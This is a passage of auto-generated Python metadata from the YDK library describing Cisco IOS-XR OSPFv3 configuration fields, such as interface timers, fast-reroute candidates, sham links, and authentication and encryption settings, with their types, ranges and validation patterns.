'cost',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('database-filter', REFERENCE_CLASS, 'DatabaseFilter' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DatabaseFilter',
[], [],
''' Database filter
''',
'database_filter',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('demand-circuit', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable demand circuit operation
''',
'demand_circuit',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('distribute-list', REFERENCE_CLASS, 'DistributeList' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.DistributeList',
[], [],
''' Filter prefixes to/from RIB
''',
'distribute_list',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable OSPFv3 interface
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute', REFERENCE_CLASS, 'FastReroute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.FastReroute',
[], [],
''' Fast-reroute configuration
''',
'fast_reroute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('flood-reduction', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable flood reduction
''',
'flood_reduction',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('instance', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Instance ID
''',
'instance',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('ldp-sync', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/Disable MPLS LDP sync
''',
'ldp_sync',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('mtu-ignore', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable ignoring of MTU in DBD
packets
''',
'mtu_ignore',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('neighbors', REFERENCE_CLASS, 'Neighbors' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface.Neighbors',
[], [],
''' Specify a neighbor router
''',
'neighbors',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('network', REFERENCE_ENUM_CLASS, 'Ospfv3NetworkEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3NetworkEnum',
[], [],
''' Specify network type
''',
'network',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('packet-size', ATTRIBUTE, 'int' , None, None,
[('256', '10000')], [],
''' Limit size of OSPFv3 packets
''',
'packet_size',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('passive', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable routing updates on an
interface
''',
'passive',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('prefix-suppression', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Enable/disable prefix suppression on an
interface
''',
'prefix_suppression',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('priority', ATTRIBUTE, 'int' , None, None,
[('0', '255')], [],
''' Specify router priority
''',
'priority',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces',
False,
[
_MetaInfoClassMember('interface', REFERENCE_LIST, 'Interface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.Interfaces.Interface',
[], [],
''' OSPFv3 interface
''',
'interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces',
False,
[
_MetaInfoClassMember('candidate-interface', REFERENCE_LIST, 'CandidateInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces.CandidateInterface',
[], [],
''' Candidate backup interface
''',
'candidate_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'candidate-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
False,
[
_MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None,
[], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'],
''' Interface
''',
'interface_name',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interface',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces',
False,
[
_MetaInfoClassMember('exclude-interface', REFERENCE_LIST, 'ExcludeInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces.ExcludeInterface',
[], [],
''' Exclude an interface from becoming a backup
''',
'exclude_interface',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'exclude-interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix',
False,
[
_MetaInfoClassMember('candidate-interfaces', REFERENCE_CLASS, 'CandidateInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.CandidateInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix candidate
interface configuration
''',
'candidate_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('exclude-interfaces', REFERENCE_CLASS, 'ExcludeInterfaces' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix.ExcludeInterfaces',
[], [],
''' Fast-reroute per-link/per-prefix exclude
interface configuration
''',
'exclude_interfaces',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('fast-reroute-use-candidate-only', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Use only interfaces on the candidate list as a
backup path
''',
'fast_reroute_use_candidate_only',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'per-prefix',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute',
False,
[
_MetaInfoClassMember('fast-reroute-enable', REFERENCE_ENUM_CLASS, 'Ospfv3FastRerouteEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3FastRerouteEnum',
[], [],
''' Enable/Disable Fast-reroute per-link or
per-prefix
''',
'fast_reroute_enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-link', REFERENCE_CLASS, 'PerLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerLink',
[], [],
''' Fast-reroute per-link configuration
''',
'per_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('per-prefix', REFERENCE_CLASS, 'PerPrefix' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute.PerPrefix',
[], [],
''' Fast-reroute per-link configuration
''',
'per_prefix',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'fast-reroute',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope',
False,
[
_MetaInfoClassMember('fast-reroute', REFERENCE_CLASS, 'FastReroute' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.AreaScope.FastReroute',
[], [],
''' Fast-reroute configuration
''',
'fast_reroute',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'area-scope',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Authentication',
False,
[
_MetaInfoClassMember('algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationEnum',
[], [],
''' Use the MD5 or SHA1 algorithm
''',
'algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec AH authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'authentication',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Encryption' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Encryption',
False,
[
_MetaInfoClassMember('authentication-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3AuthenticationType2Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3AuthenticationType2Enum',
[], [],
''' Use the NULL, MD5 or SHA1 algorithm
''',
'authentication_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('authentication-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Specify MD5 or SHA1 password
''',
'authentication_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'bool' , None, None,
[], [],
''' Authenticate packets
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-algorithm', REFERENCE_ENUM_CLASS, 'Ospfv3EncryptionAlgorithmEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3EncryptionAlgorithmEnum',
[], [],
''' Specify the encryption algorithm
''',
'encryption_algorithm',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption-password', ATTRIBUTE, 'str' , None, None,
[], ['(!.+)|([^!].+)'],
''' Encryption password
''',
'encryption_password',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('spi', ATTRIBUTE, 'int' , None, None,
[('256', '4294967295')], [],
''' Use IPSec ESP authentication. Specify the
Security Parameter Index (SPI) value
''',
'spi',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'encryption',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink',
False,
[
_MetaInfoClassMember('destination-address', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' Remote sham-link endpoint
''',
'destination_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('source-address', ATTRIBUTE, 'str' , None, None,
[], ['((:|[0-9a-fA-F]{0,4}):)([0-9a-fA-F]{0,4}:){0,5}((([0-9a-fA-F]{0,4}:)?(:|[0-9a-fA-F]{0,4}))|(((25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])\\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9]?[0-9])))(%[\\p{N}\\p{L}]+)?'],
''' Local sham-link endpoint
''',
'source_address',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', True),
_MetaInfoClassMember('authentication', REFERENCE_CLASS, 'Authentication' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Authentication',
[], [],
''' Authenticate OSPFv3 packets
''',
'authentication',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('dead-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Interval after which a neighbor is declared
dead (in seconds)
''',
'dead_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None,
[], [],
''' Enable sham link
''',
'enable',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('encryption', REFERENCE_CLASS, 'Encryption' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink.Encryption',
[], [],
''' Encrypt and authenticate OSPFv3 packets
''',
'encryption',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('hello-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Time between HELLO packets
''',
'hello_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('retransmit-interval', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit interval in seconds
''',
'retransmit_interval',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
_MetaInfoClassMember('transmit-delay', ATTRIBUTE, 'int' , None, None,
[('1', '65535')], [],
''' Specify the transmit delay in seconds
''',
'transmit_delay',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'sham-link',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks',
False,
[
_MetaInfoClassMember('sham-link', REFERENCE_LIST, 'ShamLink' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg', 'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.ShamLinks.ShamLink',
[], [],
''' ShamLink local and remote endpoints
''',
'sham_link',
'Cisco-IOS-XR-ipv6-ospfv3-cfg', False),
],
'Cisco-IOS-XR-ipv6-ospfv3-cfg',
'sham-links',
_yang_ns._namespaces['Cisco-IOS-XR-ipv6-ospfv3-cfg'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_ipv6_ospfv3_cfg'
),
},
'Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Authentication' : {
'meta_info' : _MetaInfoClass('Ospfv3.Processes.Process.DefaultVrf.AreaAddresses.AreaAddress.VirtualLinks.VirtualLink.Authentication',
False,
[
